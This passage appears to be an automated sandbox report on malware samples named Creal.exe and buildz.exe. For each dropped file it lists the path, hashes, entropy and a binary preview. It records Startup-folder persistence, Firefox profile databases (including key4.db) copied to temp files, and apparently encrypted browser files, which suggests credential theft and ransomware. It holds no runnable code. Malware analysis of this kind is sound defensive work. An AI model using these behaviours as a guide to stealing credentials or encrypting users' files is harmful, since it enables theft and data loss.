Preview:	RNWPR-Uh.....(...O.....Q..K.?..............Y.':..R/!.....'.7K.8.C.5.0.=..U....R.=G..tQ.?...bP..j\.r.r.7...K.....-x.)e.}.My-38.+..............\|...G.~:.F.?{..C..&.S..x..,.c.&.#..`.A......G."jz.(..l...F3.L=Q.+...S<.^.A.....R......s..s..~\|m.2.6.M.D~9.......I(.....)....i...j.........p....jbkJ..}I.b..y.......Z!.x."...W.<...B4..\+....._-..r..\..T....?n.^..8......{.Z.Nf.........\|....C9.O../&.I..#.\|.....d.....dj...p.T1....F3.4.]../@....$..N..U.....Y..v.'e....u...6..p...\.[.o.1....I..{...-....Q...`0......./i...^X........%C.%Q..T..L.?.N.2..!..Y....T"=....x....<).......#.8...ov......$(S.....N...i.\|\.).2V..RxrD.[.~s[.......'...kS?..I..O.O...cX.Y2b....u.!.Q...t........O.o.Sl.K....#..qp..(....G....,...I.F..5x.u......&c...Z.aW..........&...8_......T.-..r....RE....}.}%...vKf.h.....k.U.......[.}.A.B.b...f2..I,...k.....gy?....w...:.}...w.....+w..:.9K^...`m..0...K..M...S.W1.;.....KP....A\|y.5...\...F.U.<P.....6~L..J.G..~okb..{.GjuO...-.s.D.z...

C:\Users\user\AppData\Local\Tempcrdxvdircg.db

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrijzhzvpv.db

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrzwwufuyr.db

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	769536
Entropy (8bit):	7.721433386823266
Encrypted:	false
SSDEEP:	12288:vr6rWhV+31bqTUzkYK3CSajmZJV2WjiMoSJzqostxiKH1xR41IpGZUamba:mrWg4rGqRQMTV+txiK3u1I8Ub
MD5:	F76F31DA2D90E4BE5C20DCF0F98366BD
SHA1:	095A84FEC7D7CD4AFC353F768985B37A73D0F648
SHA-256:	63D62AAF2718A094187C300DF58E3054945E8B763F1609DDC7FC45B9B81F93ED
SHA-512:	A6874F8C580E3C39DCE88309528A083F02D084B9298184940DDF569772C9A61490D172CF217E78B98DB342978C6D970519443648E68852194D0E669BA2068BFE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L.....b......................D......>............@...........................M.....0.......................................(+..x....PL.@{..............................................................@............................................text..."........................... ..`.rdata...4.......6..................@..@.data...\|.B..@.......*..............@....rsrc...@{...PL..\|...B..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.85421318482591
Encrypted:	false
SSDEEP:	24:rECJYXWidhvWFqVfJN594k69K6o0WsyAaG8+0WThacD/S6N/joJerGRtCkTOatp+:bJpi3r59ScDWThe6NCerGRpOatpmD
MD5:	BA9DC568F6DD916C57416449F71D0F0B
SHA1:	5717A4A2BC512E5522FEFCAF8EACE58E2D72CA1A
SHA-256:	98334EB7759766D50EF78F1F4AEDD70C05B01C780650646BCC648719E8D781B6
SHA-512:	BBCA7D04A21E676E75EDF630A01A35852DE2BB1297F7CD9BB5EBBBBA343B34FFFB4412539D576CF1258D855863DAAB44CF5E24BA63D600D1E3E69A584766881E
Malicious:	false
Reputation:	unknown
Preview:	L....Z.I....&e...u.>.(.O....N7....5\|{S..!.D).p~..3.....d`.5.s'..%..'.6.I...b<...L.}..XA....DU>...G...Uu.hD)..e..pJ......=.E)sK.V..6.a.?./zQ..+...A...<...O}1.it....O.......}.^..B.X....Q..m.n..~....-....h.9..v...DX..{..F./.N...E._c.~.&!.....Y.)u.:.UD..D......rst.9..c.._..&.=..rKn..`..n.y.Cd.a...,/...{\|o..B.s...._U&..P...M\|.9....C...<.0C..\|7.N...e...>A.....:hJ..?....1vR...:..`G.}~.656....s..)\......i~<K..`BJ.?E..[~@...UK[N.+......i..Hz.H.aR.E.;.......{..4......~..x._.~.k.AAB.c.4....0y.....^..xj.....%v{.......[.a..X.{3/..]....Vr...j..4.6.[-.1.F..0?T.i...Gi.@.v.}.9.^.L....-.B.p..9.ul.Fpf:q`.f<&,..V...c./....`.1...0Y..,..5.?...{4...4...A.&....@.*z.MB.+....%RO?-..Aq..5V....LhC.7..[.(.).._.-.... .i...I..].#.....I..6....../..D...S..Ww..7..d9N.^...X+....[.'.....L.[......$.A..>.MI..7K.Y;Hq!.&....&.s.2....S...'9.....y. ZL...s...s.J....UO.:zWc..R...H...g...a..;).f..Tl..\....qc.uL$.\|.(...Oa...M66.at..:.RA:.q..y,v..b].......Ky7....Q...q.XW.xZ/..T..>O.%wp

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.278187892564458
Encrypted:	false
SSDEEP:	6:b+p4RbeyYvtN6T1A9KmgCtnhhsJtVVi/1yGO9E5Lk7pDgsl7SOSjQtfWyc3cii9a:S4eyYlN41YKJqCi/4rEO7xpPQQtf1+cq
MD5:	8A7265D31E6D6705D3B3D70F654A37AF
SHA1:	BC23AEEB69EDADD0EA1260646007BE9CF2BD7026
SHA-256:	C3D9B6AF033680EB1AB5A09360D8F2C8D9575F9AAC387A90C44079F65CF00BB2
SHA-512:	D840D2FE62C23B661500E610B6EDD5354AEDEF8F06C39F10182442E1411A881883237A5DBEED48B3A6A5CBC27A5D008B23FDC9AEE5D7FBDCEE2B168D9A1CDC66
Malicious:	false
Reputation:	unknown
Preview:	deskt.......].%.EI..{+.........dg.....+..}IF......z......h..nN.e......'.SS.VFbM]..HZ..F...`#.P........&..\|.3..Z[..D.v.$UI./.(....b..T.Y.Z.....8r.b.....7.8....Z...yH*a.Q(.0.L).:.iO.....i...q....GJ..}n`.-.=q4.~.....$.......Ua...F....9.{......N.C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	13816190
Entropy (8bit):	7.9974450304456095
Encrypted:	true
SSDEEP:	393216:eiIE7YoSD2nwW+eGQRIMTozGxu8C0ibfz6e57Z1bmXdWCUIi:f7rSDawW+e5R5oztZ026e5DkVUIi
MD5:	FE78CCD110CD409B0E305C91FA55A07B
SHA1:	6BA7438448FC9609973052E3DDBAF75C7C637F23
SHA-256:	A352CC3F5D2A31433CC809993761428B632446523C69ADE99D25A7EDE302EF41
SHA-512:	B5B7B86B515D06242BD2937F10B4F7E9CB09ED5281281F795D2EB4BA44DF6E8FA2C043F910C9EE7D4CF0A8C1AB8F226BA4E79AED511355F1ADFF1F2DA5CC64C0
Malicious:	true
Reputation:	unknown
Preview:	MZ....S.k].......2.g.xGlS.g]'\..\|\.Xt..3.e....]D..J^.Q.D...#Q..8..T%B....mY.d.M..~c.;.(...&.X.L...oC..5.....P#..9.....SB..~..d6..iBW.m....\|..L.i.U.$rH.<.u.H...[...f..x..h6..q.i?]......5.h.0..{.N...D..::Q0.._.6'..B.a<...V..N........+.g..?...0... .j..$Ka .>...Cm.`@N..y.s...OZ^..FG..H...Jfoem.&.Ps4.mo.....%..~....-;..;?9...%......{..p~qY....S.s...._.4........r....xT.!....2....~Paz........~\|..q.2.........lUh&fu...vz......sO..%P-..[.).).....A..B..n...h.R....o._L.Y.7.....Z.._$......._&..Ka..!{..}q....8M.c.@...A.......vzTA..X....l..xv=x.7..jG..........5...K_.>..<...Vg..e..-.S.=D.....p..k.t..qw..Xn...S$.P%..VL.4.$...8...J.u...H..T.......=...nA.........B.fE..l..\|...,...v...~g..K.@.y..n.eW."..{..u.).ot.Ex.!l...J%...\s.b...e..B...O.......S..J..2&om..W.......&..P.>[%.x.....n....N.....iq....}s:.w-=..b..+O$.W>f.m.0.s...f..j...YVj.`h..Z.....Z..z.!o..O..........E....H... ....z'..x.^.....t.O.66.<.^.8.[..Z.Q.(..,...^....k...Rf>....2.MY5.;

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.925191811538951
Encrypted:	false
SSDEEP:	48:Y1L6AgD+L4ag8KCtnsu5Vnzmw+O2DsojcZJ/+545lIHpC5ZYxXXGY4BA9nD:KTf7su51zmw+2qcL+qEH05ZvY4Bm
MD5:	3437F3F7AB7ADF8483A1C6D60D4B3D5A
SHA1:	F2D43CBECA26D0C64F35BA865E2845128C00B858
SHA-256:	7C8EF99797C2F8DA4656EF960C22DA688D2250634C4C2D9F7B97CA825AE340B7
SHA-512:	7DC348A41C3F00B28E91E38D0C88E0C8EF5A47C90F21EAEE150ED6C2CB80F7DE560F5D823D249672858F36A3D96CA7FC4CE0DC9BE345F025841D5C2D356A5BED
Malicious:	false
Reputation:	unknown
Preview:	{"csvR}.K;[...,......L...4..]............j[U.HW.......2...l.>.....t3.=..U!..b.[Z..-q.B`$.(%+..DV...B.;.M.^Q...}T...y.j)..&i....%\|.H.=.k....6$....v......vgJ..[..kI..KU....i)Fn.$....$.....w...Y6.Jx.n...L9.>M..6.....MX.....o/..........fr.....r.:..[.E....2.5...9#Mg.qK.F...{On..D?.I4.@=.R...w...+s..t..q.\..].D.wICor..]..HI`.T.D.(O(P.$h...NA......9..]..+`#......b.2^R...l.............x$.;k..K.......\.z....~..X...........\._uK...:.{.4...W.1.^.U.0...Xl4m..}..3..^...y1,.#........t3..qLS....')8..8-...1.^..&,)\|...b..u...d.~.F.+...n3.82..Y.`.3......-.@.. .Q.9X.."...Yhf.+...U.5f...Z.f.#.~K$R...!.s..Z...o.......U.!.......N...\4..+n...n.n\|.zT.e.f.s.G.bTC.>.4.x.A...:.!..O.l%...3". *...r..u..m..%...v@....%.4...cd`..@k..M........#.9%.eeizw....q.. ..X.c...k.....T5.!...G'...1.FWu...\|.E..,H....s.J.$..=>e..../....Z.y...G.Q[Tn.(dM.@.N.,3.L.L..n..........@.B$.&.....!CP...$..R1.$^2..r4..02...v~...gP.R.'e..r..D..6...2..z9]....J.DX(z.t.8..c..w.(...{.bw..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.707578075519409
Encrypted:	false
SSDEEP:	24:3cHlHN0o9a3p3t6xmpF5iUMT3wZKidrWHzObD:StF4Nt6xmgXTgZlGzsD
MD5:	1F360F30900A5E89263993D1B8C3C358
SHA1:	CB1ACD0C3406299F23B1BE395AEB330BA52245DB
SHA-256:	549FD60A7285F4D5E0B1B6E93B189EF86FBD18FC10475A69ADDCF9FC0A0AC6FE
SHA-512:	0F8147B3B4FC4A6677FD391B256BAABB93640FC4B764E185216EC27412B3DE0AC0D46E0B3D7EDBF7EEE1C6EA29DA746C88B8B5CC4B36E0824EA49EF22D9E8D82
Malicious:	false
Reputation:	unknown
Preview:	aus5..e...xNe.s....G.#y>2A....o&o,6.b}&#.......].........G.B.4!....D^..s..2iY#.eF..1..Pa.P.....`-........3...1.B...D..&.....+....w.....P....k....$.[....+.....<....9...Y1.C.>..v..Et......,..+\|..)jM,Wv....05.x....,..S~..MO..q.\|...LB...2...9t...}.Q...h.........#g..a..sT=..*{w}....@!x..J0U4...i..?X.#h......$....6...K.T".\.\..t.....0..$.iY.....;.,.....3... .T.6..a..<.C...jO..G]..p)i.Z..W..o^j..&u...#....uXj....h.z}.!.....b.....+...U...9..a,..9..e.k...W.><.....?....\...-.....1.,......e.0.T..-'^.~@..i4..'.........Jk;.[,<....)..$..0i)B.0...Xz;.}@.0 ...Q..0Y........1..\-...O..8>x]..v.7u.Z3.^.v..4..u.....Q.<.ys@.f..?N......c..&.f.....w..f.Z"6...C}...[Y.....L.e,7..!#.T....-6_....\|..Ao......DQ..I[l....J.s..R<........!)..W..z.e..X.h3x.......%..bGSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1423
Entropy (8bit):	7.876096782047458
Encrypted:	false
SSDEEP:	24:YkHAJwo4INKh0tRB/xdZm86vZ7uRj+tLBa7RiEM3nSMvBJTLz4ql+glJTHEbB4bD:YktCRBJSYwatS3SMvBxkgl1D
MD5:	E4813165828A3780F62ABF6BA4CAFEC3
SHA1:	415246B6FC41D23A6806FC3706C5BFF950DA3003
SHA-256:	41349DFE389485A3E12C749B6E542F402811D1CA357C619AF326830C4024C4BB
SHA-512:	EC6E9368D3F3B157C22790AA8EEE94C258B313BB86CAD5B114492AD8663D7C66B4171B363186F6034119CDB1160F6DE530A566DE4BF6964992CADFA4D0102351
Malicious:	false
Reputation:	unknown
Preview:	{"forG..%.#...}.\....;\|.?.....U.1....8.T(....~.k/....../.I!'h.)%.......N..Gm.y[..r.\|.........N9..3.Y;b..........N.\.$..G...-.?f.5..e.6...P.#...L......::.0AD.~."S....=A.......^z....W.Y..s....m.\|.\|I.6.t..Sq..c..\|..RG....!.U.9..........?.8..e.[,) Z...u...P.z^...Nm}..B.t..Q..(.....s3.....;.W.w.u.C...O@MB.n,.KF.c.`..4.2....n).......P1{.v..C.mCv..."....}wJ.U.j....%..........m...5u....'.H.........Dh.....e...._.&T&_.X.}.L..so...;;..?..W.`.............._.y.Oe..f..HN.<p.P...F.?.....zb....0.S.....ds.a....1pw.]..G.I....s...3....N.v...S.......B9x...............0..<...........A.....aZZt........l...I.Tw..%.(~.D.k.d....:4...........r..".....3.Y.L..]..5Q....j.y...7...........4.. ..NQ.\76\..B...^P..I.U..}...m.gl....6^.9...v;R..C<T.t..$..)u.?0.. l!L..l......`....v..t....-.....;....X._..y...fn.D._....Y.U....\..3....b.G +}T.p2>............].x..!Q.1[x.....h.'..'..k.......`;....1l...#]R........%@..c6.v..=....].%...:..`...M....h.k...$i%t*...v..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	37164
Entropy (8bit):	7.9950640334642795
Encrypted:	true
SSDEEP:	768:rzW2Z6uZHP4Mew0hudEn+kWObF/v9FwUj8sJqbSIJp2pHeaRXBjq:rdfH/etVzbVEUjiGIJgpBXBjq
MD5:	0BFB5F4FB786DC8D05C4B2A7F2211D10
SHA1:	89F36CCD9F3F27C73C19018C3451A989B903EBD2
SHA-256:	598B86C9F36BF5869DCED9F45A795A06CA07BBB583653069897A272B5F739A0A
SHA-512:	5B4E9C7127B50699BCF53462A944223FED3C3F0C0983CF99DFA7EF9683BD60D2E0DDAD962142D6386CF0B7218C9650A9B487CFF19616796B977A1D5CCE71FB3D
Malicious:	true
Reputation:	unknown
Preview:	{"schU..C...f..5.}..{..e.D...S.E..R...>.W.....(-R.O.5.,..Z....M..w.L.~..2.Ni...i.D".....17...PDAQ....::..('[6.c..l..7>...._.............. x$.n......~.V^~#...:..K.}.`2...tV~.]K.B.....u..F...$.M.4.......Od.....C........2..,....Su,6)fz....%].....W.k...V$.i........./=....Z7.xr,....z0+...p.[A.....B...\|O.p2.i..G..gN.@t..(.:+w%.....4.;.........8..w+.[....+..}.t..-Y.k....t..5..Mc.B.<u.4.....\X...\|.aB.:.(.D.;.=....m..-...-.@......r.^X..^&#;]0.....v.d"...?..H.+...A8.E4.z.0..oe.[..rp).z...L.C`p?L.6g..E....K\|...i.f.3C....b!F.6l..8..a.+AF[.Mp....j..J ...k..-J....Sf.ZU}......f.....:9..:....6.....-A..\|.QK4.....K.......\|'#.A.t..b.U..Y\.^(..Kt..`E..d...!......+.e....>.u..fL.......5Y.p....a.7...I..5....(.B.@X.......o.t....\E&T..xq.=.?...<.=.@.XdU.<.6>..~.......#X...)...c.EJ.p'.}\,.7......F....+#.KGU.i....]S..+zhQ..<+(a....].A...f...n.....!c..R...M'..o....+c[R..d.u..6d.;7.xb...a9...rX..]...+.i....b...Sb.o..\z..o.sn.9...-0.....5...y..i...c.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.42642639669214766
Encrypted:	false
SSDEEP:	3072:cmRGdObq7t5AbakW15PGvTr5DIPrg54V4iaRr2KK7aK730DYBX0qhFr:caB4t6bakW1BGsg+MRyB7qcBX08Fr
MD5:	1B37A8B918D609E6F038F07190C4AEDF
SHA1:	1BFB509CCB2D0E783E7BBC5F9D24E10AB17DBFA4
SHA-256:	1C3E2E5987A93EFF98D35388ECD142AB196AA56916F045A0479F20DBB096266C
SHA-512:	49DCFC4DDDC6AC468C3A4F7C3EE5FF7F07FAA1943405EDBEEE5F908E96F73F0CBFA741166FC6FE1AE009AF129594D972C0F6FFCF82DFDEF7C36A96C88E0CDBA9
Malicious:	true
Reputation:	unknown
Preview:	SQLit.N....1..Y.S.c....0D......9Q...p&....#.>..[...0At.i.....J..i>.^z..5j.U....5._h...#..gC..%Uo.zFl]B.,.GC..Y...`l.m_.....A......v.>?.....j.......N.G..ncP..M^....."y7r.(.%.......B;...[.].A.U.c.ga..l.h.....y.....Q."/."...W..+..+Dlb2y..R...p..\|.A.$I..F...v..E....<..Q_.....s.....@.q.TX..m.o.Z..A^$.....c?Ik5&.....P../.b....(1yWP.<.yc.].& +v.PB....7Nu...f....t.'n.a.... ...#...'Q..5..V..u.J..Dr..&....<....(y.Z..Vk,.Y$7!Ei.O[..=..mE....#......m5..Q.U%.S.9.e....p\.`...g.`5.<-".....s......[.,4.n3..At .lm.hi...........LF...>....G.`\.D..[....kK..s....x.9.u..o.b......_......0{.f...0..J.....V.u...Ao..g.io..a'...9W.I.-Q..h...m.{.U..6.....n.J.^.D.....Q.41l....F........V.I...#1.Hf3.W=.......h6..K&...H..`..F)..$v..Tg..o;....\|+s.*........)f....\.A...{\...G.U...#.>....3....N...t.zv....V.=..h..!.....x..}..x.==^.....EV.x-....Nhi ..A.1...h..K.E\Y^'......-..YfZ=.N........YY..5<....8.b..x .x.E..1......3......$\.....2.rG..Ve...'H..y9...OH..m.i.C^..0>I

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.995016167400121
Encrypted:	true
SSDEEP:	768:29C75+JzmPHOVsKZovt1FCvNvW9ntVojcxN8UI4lch:29CliyfiZoPadAt+oxNvI4mh
MD5:	A9FE89C375A37A3365DB00D4741D829D
SHA1:	34F251256B60504209CDF84CE66A8337DF0C575F
SHA-256:	89B1AACB3B7DA0D7B92C7F7E9E73B6F3096DDF2929DFDF686CEFAF0099154775
SHA-512:	21A9791BA32F0F24A711E0AC834A913AB0C16907C2BF9D7C2448FBE3042FB975375EEB2C24374992AA4236E79F968D1BFF13F471F1A71F181389E9952FA0581E
Malicious:	true
Reputation:	unknown
Preview:	..-.."...Z..'...V.zG......hC..n.M..S.=.x....}w....;...........4.4(tIl.C...X.9X\|h..z.b\....D....+Q@D\Vm#......;.w...Gz...<...6.V.t.V.....'C...!.8.u.N..X.e..L'`"1R..l).<....v.....Vb.....;.....Psk.4m-Aey_p\..b...i.bs?...;....`wl.O.B.&.o...[..#..D..pd.].o.....1}....+\|..-f..$..7...5....5....g.'}..>.$8..t.=J.M..._.........&........OR..z.1.E.%...E]......6..#ExI..z.+.i.../....."........:.m0.H^Q..k.hW4.^^O?Y._....n....N.U>....U....!\|.L.\|....4D9..)........g0_...........,n?..O.YZ.6.....}...-=e....^.i....x.O.W..&.....9w.:..C..V)"4Y...x......a....N....N+...j.>.....&.>.l.MsT)..........d^ ......;..~..lP...bJ.R...Zt.........E.ip..3F.0.N.4.....J,XK.6...).S..?.....sr.-..K..)f..........H.pg.R....I>`..f...z...g.Ch..7......CR..3.IuqM...y(.;..........9....K....Qb.T...t..Z.o..{.;..N...x.}.C.UW..yy.%.w.=..*...3.:o..a.zY5h........WI.....MS....A.(U=.S.`..X!....+7MB...P...Z.....,dj...[.P...y=W>..{.J.G.......I......@........mZ....H/..N.g..X...<b../.).i...$4..T8.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.6890741415839035
Encrypted:	false
SSDEEP:	12:YU6MeEsVlB6FfLjlFxqDX90jl2XovOP3bWWDVlM5onOjlU3Yk79K6xibnI1+ciik:YxMeEsVl0FAr90B2XovOPiWDzfkR1PbD
MD5:	B6363846C05D3ECF9E751271AEE71465
SHA1:	C6A6DA9C583ACDB2DEDB804E6C807BD67306D6BF
SHA-256:	35DE475682DD4D9391B982E0FC5972E1339ED0DDFE4A0EF06F2EB4F6051768E7
SHA-512:	E03DA3121E99FB382AD969A7122452364177B89C516F3821014371799078BB3B6AEAB5676712106CD23E60CC998720A71325257C0110FC8C559CA7F025F906D8
Malicious:	false
Reputation:	unknown
Preview:	{"def.7j....{.==.....0..>f.....!.L..}e.>.jb...9.....Y..oY%.J...R..@......PD...~..w+=..#........>L...q..h...]...LB.......-I.b.... .~.1n..>...L.w.w.>v.z...X..B._2..AI\|...i.!#<..ili...-..a..x....i.C......R..U~...N..Jj./-.v@.... /.4h...:.!.!l....Y.1..F.r....Gf......M..vnr+O...X^.E..ogY.l.*..4...wo..O...\...le-SK0.&giy.,5] .2...Q\?=.h.....;..7..;...E...#..A8.f...413....U..as..P..@...1.....%5T..T....Q...S.:.\|.[.=.G...B.i..].....&V.P.....%...y.d.k.Z.#.aI...1^...1.7%N.....m...q..2..l....z#.6+......g.f.......n,(.>...'c...(.....Q....5..0B.!...1/..r..F:C..v..c.....Z..0...%.O..h.F...5s9...g..fw...&u8.S.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	295246
Entropy (8bit):	5.156229881226147
Encrypted:	false
SSDEEP:	3072:YvN9r1YVBEtIWxx8zD7ARY3FCsvZRQ9l+GG4Z41Mj:2N9BYVUIeEcRcF29lEsj
MD5:	E82F11DF11162EC9765523AE52DEE818
SHA1:	42DD7A798DDB1654F98197B5ECD5D891D3CD909D
SHA-256:	57389F6475D20983DA13DA5B1D15D0FB6BCE1A46E6ACD14FD5C8119308DC1E66
SHA-512:	6447FDA65E8E1F1968E52B78FBAB0A1F66FF6B77E065186AFEF80F107067A7DA84CF4FC406D584A460788D430F95E40091FFDB6ECA16AF22D995C7E6C85EDAE0
Malicious:	false
Reputation:	unknown
Preview:	SQLitfS..H...nK...Z&..;TU+..`{...5.r...H.@.......b...fW+.%N.....AWC@...2.\|_a.1&.9m...X..<9..........G...n....P7.h.xB..3`.X..p=s.k!UL...].)...B[.h<.$y..q...<...l&.4A.5......J.D[i.y.a{>8t..)+..:B.7....M.r......\|">Nm..b..>.)d.6'+.....i..v.u7bvez.Ar."`a.v/9...E.a?Fw5..T,....95..G/Q...H..u6\|.h...../`A.SQ {_..8.........XWm..i....ys'..!.3.....b...E.dzQ..r..Ex.x4......A#4.....n..<.j7.....n{.2I.Vz.. ..A..w43a._.o).T.F"......T.U.[hLsKl.7.L...T.>.d.._.@......"...i6Z....2...Ib1K.....9.?.L.1.D..].Fn9S+5.C....@.m.i.X.~.k.v.W.... ..m.!..v...R.?.^&.[.@.D.h7uX.r....Ov.......$`...8.L..\|`.9..(.r/V..vyp..j.....y.;..'w...y.-...9_. t..dY.bxYw.E.j....4d.....C...uv.M..P....TEda..V..b.}nx..6o..a62:...1].g>.}..R...K..T...g.B..P...{..a.lK.....F.}.\...._h.:A:.$....s.o.7..r....$..i.g0J..}.>...>....(...=.@..r......;....f.}.<.....*Hu.H.I)..~.i..G.....6 ....A..(...#}...>5..Q&.....nk....f._.<.....0.b=...P..y]}l.....3.#..J.-.....n. qA..=.F...k.i...n..=\|&..O._........5>..&.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998251240779071
Encrypted:	true
SSDEEP:	1536:eAH2mc9zmZZhgvg6XruoiixWrlowi/CB8qJr4BcJkUgwNiFF3IxZPOo0c/aTq19d:bWmc9zwHg4onAGH8LtGFF3IxZTYmr0gB
MD5:	B95FDE532302F69ED825C6022E41E9E8
SHA1:	10690F7AF26AA89B7B8F77AA7284B43117A79C04
SHA-256:	47F59140F8CCA917BF0EA4CF467B0FD2BD6AF07DF1AFF5B9B1BEC558AA39FAED
SHA-512:	864C4095D2FE462CCE6C026F0FBBEDE9176738078C0487A59D94F8E93023D677B4450FF8766026F33C99A95E77B551F5CBC892A20FB1FEBF4F566CF642971261
Malicious:	true
Reputation:	unknown
